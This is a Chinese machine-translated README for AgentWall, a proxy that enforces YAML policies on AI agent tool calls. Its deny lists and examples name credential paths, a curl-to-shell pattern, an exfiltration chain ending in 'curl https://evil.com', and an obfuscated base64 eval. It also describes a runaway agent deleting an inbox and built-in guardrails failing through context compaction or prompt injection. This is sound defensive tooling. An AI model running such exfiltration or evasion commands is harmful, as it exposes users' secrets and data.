AgentWall
您的AI代理具有root访问权限。这会阻止它。```bash
npx @agentwall/agentwall setup
______________________________________________________________________
克劳德说 **始终允许**OpenClaw说 **始终允许**.AgentWall还是阻止了它。```
18:14:47 mcp DENY policy list_directory ← BLOCKED despite Claude "Always allow"
18:14:51 openclaw DENY policy exec ← BLOCKED despite OpenClaw approval
18:15:03 openclaw DENY policy exec gog gmail trash ← BLOCKED (inbox deletion prevented)
你的YAML策略是最终决定。不是客户。不是模型。你。
> 为什么在内置安全失效时,这会起作用: AgentWall在模型的上下文窗口之外运行。上下文压缩、提示注入或受损工具无法触及您的策略文件。
> ⚠️ 2026年2月,一个失控的OpenClaw代理发送了142 gog gmail trash 呼叫并删除了用户的整个收件箱。Claude Desktop和OpenClaw内置的安全提示在模型的上下文窗口内运行。上下文压缩可以完全清除它们。 Agent Wall会在呼叫#1时阻止它。
> 📖 写: 您的AI代理可以读取您计算机上的每个凭据
目录
- 特性
- 安装
- 快速开始
- 支持的客户
- Web用户界面
- 开爪
- 政策
- 速率限制
- Taint跟踪
- 审核日志
- 命令
- 运作原理
- AgentWall保护什么
- Agent Wall不能保护什么
- OWASP代理AI十大报道
特性
- 无处不在。 Claude Desktop、Cursor、Windsurf、Claude Code、OpenClaw、任何MCP客户端
- Taint追踪。 检测凭据读取并阻止后续的出站网络调用,在完成多步渗透之前停止它
- YAML策略引擎。 拒绝、允许、使用全局匹配、SQL内容匹配、路径规则进行询问
- 一个命令安装。
npx @agentwall/agentwall setup自动检测并包装所有MCP服务器 - 浏览器审批界面。 批准或拒绝浏览器中的工具调用;在没有终端的GUI客户端中工作
- 独立审计日志。 每次工具调用的真实记录,无论模型声称它做了什么
- 热重新加载。 编辑
~/.agentwall/policy.yaml更改立即生效,无需重新启动 - 速率限制。 在失控的代理循环造成损害之前,限制每分钟的工具调用次数
- 防止收件箱删除。 积木
gog gmail trash/delete命令和速率限制批量Gmail操作;本可以阻止 2026年2月OpenClaw事件 随叫随到#1 - 完全可逆。
agentwall undo在一个命令中恢复所有原始配置 - 策略库。 gog、GitHub、1Password、消息传递等社区政策,请访问 代理墙注册表
安装```bash
npx @agentwall/agentwall setup
AgentWall检测克劳德桌面、光标、Windsurf、克劳德代码和OpenClaw。
自动包装每个MCP服务器。备份您的原件。零JSON编辑。```bash
# Or install globally
npm install -g @agentwall/agentwall
agentwall setup
需要Node.js>=22。
要验证保护是否处于活动状态:```bash
agentwall status
AgentWall v0.9.0
Protected: Claude Desktop (3 servers) · Cursor (1 server) · OpenClaw
Policy: ~/.agentwall/policy.yaml
Decisions today: 47 allowed · 0 blocked · 2 approved
______________________________________________________________________
## 快速开始```bash
# 1. Install and wrap your MCP servers
npx @agentwall/agentwall setup
# 2. Create a default policy (protects credentials, database, shell)
agentwall init
# 3. Start the web UI first (it owns port 7823)
agentwall ui
# → http://localhost:7823
# 4. Start OpenClaw gateway (if using OpenClaw)
openclaw gateway
# Detects AgentWall on port 7823 and routes approvals to the browser
# 5. Open your AI client (Claude Desktop, Cursor, etc.)
# MCP proxies spawn automatically and connect to the same UI
> ⚠️ 开机顺序很重要。 开始 agentwall ui 在OpenClaw网关之前和打开AI客户端之前。网关和MCP代理在启动时检测UI,并将批准请求路由到它。如果UI尚未运行,它们会退回到终端提示。
支持的客户
| 客户 | 审批方式 | 集成 |
|---|---|---|
| 克劳德桌面 | 本地主机浏览器UI:7823 | MCP代理 |
| 光标 | 本地主机浏览器UI:7823 | MCP代理 |
| Windsurf | 本地主机浏览器UI:7823 | MCP代理 |
| 克劳德代码 | 终端 y/n/a 提示 |
MCP代理 |
| OpenClaw | 终端 y/n/a prompt |
本机插件 |
| 任何MCP客户端 | 浏览器UI或终端 | MCP代理 |
GUI客户端 (光标、克劳德桌面、Windsurf)没有终端。审批请求显示在您的浏览器中 http://localhost:7823。如果没有响应,30秒后自动拒绝。
终端客户端 (Claude Code,OpenClaw)获取内联 y/n/a 提示。按 a 始终允许在会话的其余时间进行操作。
Web用户界面```bash
agentwall ui # → http://localhost:7823
**批准** `/`:实时批准或拒绝浏览器中的工具调用。30秒后自动拒绝。
**策略编辑器** `/policy`:直观地或在原始YAML中编辑规则。两种模式都编辑同一个文件。更改立即生效。
**日志查看器** `/log`:您的代理所做一切的可搜索视图。按运行时、决策、工具名称、日期过滤。
**客户** `/clients`:查看计算机上每个受支持的客户端,哪些MCP服务器受到保护,并一键包装新服务器。
web UI仅限于本地主机。没有身份验证。无外部连接。
______________________________________________________________________
## 开爪
AgentWall包含一个本地OpenClaw插件,可以连接到 `before_tool_call`,拦截 `exec`, `read`, `write`, `edit`, `apply_patch`,以及 `process` 在他们执行之前。```bash
# From a clone of this repo (directory that contains openclaw.plugin.json)
openclaw plugins install agentwall --link
该插件独立于MCP代理运行。两者都可以同时运行,将每个决策记录到同一个审计文件中,而不管哪个运行时触发了它。
如果你使用 gog 对于Gmail访问,请在您的策略中添加电子邮件保护规则。看 防止收件箱删除(gog) 在......下面
政策
AgentWall按以下顺序评估规则: deny → 允许→ ask.
不匹配的呼叫默认为 问。从不允许无声地拨打未知电话。```bash
agentwall init # creates ~/.agentwall/policy.yaml with sensible defaults
### 规则字段
|字段|描述|示例|
|---|---|---|
| `command` |Shell命令glob| `"rm -rf *"` |
| `path` |文件路径glob| `~/.ssh/**` |
| `tool` |MCP工具名称glob| `"write_file"` |
| `match` |参数内容glob(不区分大小写)| `sql: "drop *"` |
| `url` |URL模式| `"*.competitor.com/*"` |
球状图案: `*` 匹配除以下字符之外的任何字符 `/`. `**` 匹配所有内容,包括 `/`规则中的所有字段都使用AND逻辑。
特殊路径值: `outside:workspace` 匹配当前工作目录之外的任何路径。
### 保护您的数据库```yaml
deny:
- tool: "*"
match:
sql: "drop *"
- tool: "*"
match:
sql: "truncate *"
ask:
- tool: "*"
match:
sql: "delete *"
- tool: "*"
match:
sql: "alter *"
DROP和TRUNCATE默默地封锁了。DELETE和ALTER提示审批。其他一切正常运行。SQL匹配不区分大小写。
防止收件箱删除(gog)
OpenClaw使用 gog CLI访问Gmail。自从 gog 作为shell进程运行,AgentWall的原生插件通过以下方式拦截它 exec 在它触及你的收件箱之前。
2026年2月,一名失控的OpenClaw代理发送了142 gog gmail trash 在用户进行干预之前,呼叫并删除了用户的整个收件箱。这是在呼叫#1时停止它的策略。代理自己的护栏没有。它们在代理已经覆盖的上下文窗口内运行。```yaml
deny:
Email — never trash or delete without explicit approval
- tool: exec
match:
command: "gog gmail trash*" - tool: exec
match:
command: "gog gmail delete*" - tool: exec
match:
command: "gog gmail batchDelete*"
ask:
Email — confirm any inbox modification
- tool: exec
match:
command: "gog gmail modify*" - tool: exec
match:
command: "gog gmail archive*"
limits:
- tool: exec
match:
command: "gog gmail*"
max: 10
window: 60 # max 10 Gmail operations per minute (a loop of 142 never completes)
删除规则被默认拒绝。归档并修改审批提示。即使错过了规则,速率限制也会捕获失控的批量操作。
为什么这在OpenClaw自己的护栏失败时奏效:该政策存在于 `~/.agentwall/policy.yaml`,在模型的上下文窗口之外。擦除模型安全说明的上下文压缩不会影响此文件。
请参阅 事故记录 完整的时间表。要深入了解凭证泄漏的工作原理以及AgentWall如何阻止它,请阅读: 您的AI代理可以读取您计算机上的每个凭据
### 完全默认策略```yaml
deny:
# Credentials — never access
- path: ~/.ssh/**
- path: ~/.aws/**
- path: ~/.gnupg/**
# Shell config — prevent persistence/backdoor
- path: ~/.bashrc
- path: ~/.zshrc
# Shell — never pipe from internet
- command: "curl * | *"
- command: "wget * | *"
# Database — never drop or truncate
- tool: "*"
match:
sql: "drop *"
- tool: "*"
match:
sql: "truncate *"
ask:
# Shell — confirm destructive commands
- command: "rm -rf *"
- command: "sudo *"
- command: "dd *"
# Git — confirm pushes to main
- tool: exec
match:
command: "git push*main*"
# Database — confirm writes
- tool: "*"
match:
sql: "delete *"
- tool: "*"
match:
sql: "alter *"
# Files outside workspace
- tool: "*"
path: outside:workspace
allow:
# Everything inside workspace is trusted
- path: workspace/**
limits:
- tool: exec
max: 30
window: 60 # max 30 shell commands per minute
allowed_hosts:
- api.anthropic.com
- api.openai.com
- github.com
- registry.npmjs.org
- pypi.org
速率限制
限制代理在每个会话窗口中可以调用工具的次数。在失控回路造成损坏之前将其捕获。```yaml
limits:
- tool: exec
max: 10
window: 60 # max 10 shell commands per minute
- tool: "*"
max: 200
window: 300 # max 200 total tool calls per 5 minutes
当接近限制(90%)时,AgentWall会触发macOS通知。当它点击时,代理会收到一条它可以读取的消息:```
AgentWall: exec rate limit reached (10/60s). Wait 43 seconds.
Taint跟踪
AgentWall跟踪会话内跨工具调用的多步渗透攻击。当工具调用读取敏感文件(凭据、SSH密钥、环境变量)时,会话标记为 受污染的。无论单个策略规则如何,对不在分配列表上的主机的任何后续出站网络呼叫都会被自动阻止。
此检测到的杀伤链:```
Tool call reads ~/.aws/credentials → session marked TAINTED
Tool call runs curl https://evil.com → BLOCKED (taint violation)
Taint由以下因素触发:
- 读取敏感文件: `~/.ssh/`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, `.env`,SSH密钥
- 敏感数据库查询: `information_schema`, `pg_catalog`, `mysql.user`
- 访问的命令 `process.env`, `os.environ`,或敏感的环境变量
配置即使受到污染也允许哪些主机:```yaml
allowed_hosts:
- api.anthropic.com
- api.openai.com
- github.com
- registry.npmjs.org
- pypi.org
Taint状态可见 agentwall statusweb UI(警告横幅),以及 agentwall replay (以洋红色突出显示)。当新会话开始时,Taint会自动重置。
热重载
编辑 ~/.agentwall/policy.yaml 并且更改会立即应用于所有正在运行的代理和插件。无需重新启动Claude Desktop、Cursor或网关。```
[AgentWall] Policy reloaded: ~/.agentwall/policy.yaml
______________________________________________________________________
## 审核日志
每个决策都独立于模型所声称的内容进行记录。
|日志文件|编写人|目录|
|---|---|---|
| `~/.agentwall/session-YYYY-MM-DD.jsonl` |MCP代理|通过代理拦截的工具调用|
| `~/.agentwall/decisions.jsonl` |OpenClaw插件|通过原生插件拦截的工具调用|
web UI日志查看器会自动合并这两个文件。```bash
agentwall replay # color-coded table of today's decisions
agentwall replay 20 # last 20 entries
agentwall clear-logs # remove all log files and start fresh
> 如果模型报告它只读取了一个文件,但AgentWall记录了47次读取,则日志是正确的。
命令```
agentwall setup [--dry-run] Auto-detect and wrap all MCP configs
agentwall undo Restore all original MCP configs from backup
agentwall proxy -- [args] Wrap a single MCP server
agentwall ui [--port 7823] Start the web UI
agentwall init Create default policy at ~/.agentwall/policy.yaml
agentwall status Show protection status and today's decision counts
agentwall replay [N] Show recent audit log entries (color-coded)
agentwall clear-logs Remove all log files
agentwall --version Print version
______________________________________________________________________
## 运作原理
AgentWall位于您的AI客户端和它生成的每个MCP服务器之间。```
AI Client ←→ AgentWall Proxy ←→ Real MCP Server
|
policy.yaml ← your rules
taint tracker ← cross-call exfiltration detection
audit log ← independent record
approval UI ← localhost:7823
客户永远不知道AgentWall在那里。真正的服务器永远不会知道它正在被代理。 agentwall setup 自动更改配置:```json
Before:
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "~"]
}
}
}
After:
{
"mcpServers": {
"filesystem": {
"command": "agentwall",
"args": ["proxy", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "~"]
}
}
}
______________________________________________________________________
## AgentWall保护什么
- 意外破坏: `rm -rf`, `DROP TABLE`, `TRUNCATE`
- 凭证访问: `~/.ssh`, `~/.aws`, `~/.gnupg`
- Shell配置修改: `~/.bashrc`, `~/.zshrc` (持久性/后门)
- 工作区外的操作
- 破坏性git操作:强制推送、向主推送
- 失控代理:每个工具每个会话的速率限制
- 常见的混淆模式: `eval`, `base64 -d`
- 未经批准的数据库写入: `DELETE`, `ALTER`, `UPDATE`
- 多步渗透:污染跟踪阻止凭据读取→ 网络发送链
- 通过gog删除收件箱:拒绝垃圾/删除命令,限制批量Gmail操作的速率
______________________________________________________________________
## Agent Wall不能保护什么
**混乱的命令。** `eval $(echo cm0= | base64 -d)`.模式匹配参见 `eval`,而不是解码的有效载荷。
**通过请求体进行数据泄露。** Agent Wall看到 `curl` 命令,而不是网络有效载荷。
**迅速注射。** 在代理读取之前,需要扫描每个文件。
**超越污染跟踪的多步攻击。** Taint跟踪捕捉到最常见的模式(读取凭据→ 网络渗透),但不是所有间接链,例如将凭据写入一个世界可读的文件,然后另一个进程读取并发送。
AgentWall是一个策略引擎,而不是安全沙箱。正确的补充是操作系统级隔离:在一开始就没有凭据访问权限的容器中运行代理。两者相辅相成。
______________________________________________________________________
## OWASP代理AI十大报道
AgentWall解决了以下风险 2026年代理应用的OWASP前10名:
|威胁|AgentWall如何提供帮助|
|---|---|
|ASI02–工具滥用和利用|YAML策略引擎在执行前阻止破坏性的工具调用|
|ASI03–身份和特权滥用|凭证路径保护、工作区边界强制和污染跟踪|
|ASI04–数据过滤| Taint跟踪检测凭证访问并阻止后续的出站网络呼叫|
|ASI08–级联故障|速率限制在失控的代理循环造成损害之前将其捕获|
AgentWall是一个策略引擎,而不是安全沙箱。看 Agent Wall不能保护什么 诚实地评估其局限性。
______________________________________________________________________
## 策略库
通用工具的即用型策略:gog、GitHub CLI、1Password、消息传递、Homebrew等。```bash
agentwall policy add gog
agentwall policy add github
agentwall policy add bundle/developer
浏览所有政策→ github网站/agentwall/agentwall-reistry
贡献
欢迎捐款。看 贡献.md 作为指导方针。
要将新的MCP服务器添加到策略注册表中,请打开一个PR 代理墙注册表.
版本历史
| 版本 | 主题 | 发货内容 |
|---|---|---|
| v0.1 | 概念验证 | 执行拦截、YAML策略引擎、JSONL审计日志 |
| v0.2 | 完全覆盖OpenClaw | 原生插件,所有工具调用都被拦截 |
| v0.3 | 运行时无关 | MCP代理:Claude Desktop、Cursor、Windsurf |
| v0.4 | 零摩擦 | agentwall setup,数据库规则,npm发布 |
| v0.5 | 可用性 | 热重载,速率限制 |
| v0.6 | Web UI | 审批页面、策略编辑器、日志查看器 |
| v0.7 | 客户端可见性 | 客户端选项卡,自动检测,一键保护 |
| v0.8 | 通知 | macOS通知、选项卡标题、声音 |
| v0.9 | 污点跟踪 | UI/CLI/audit中的交叉调用泄漏检测、allowe_hosts、污点状态 |
许可证
根据 Apache许可证,版本2.0.
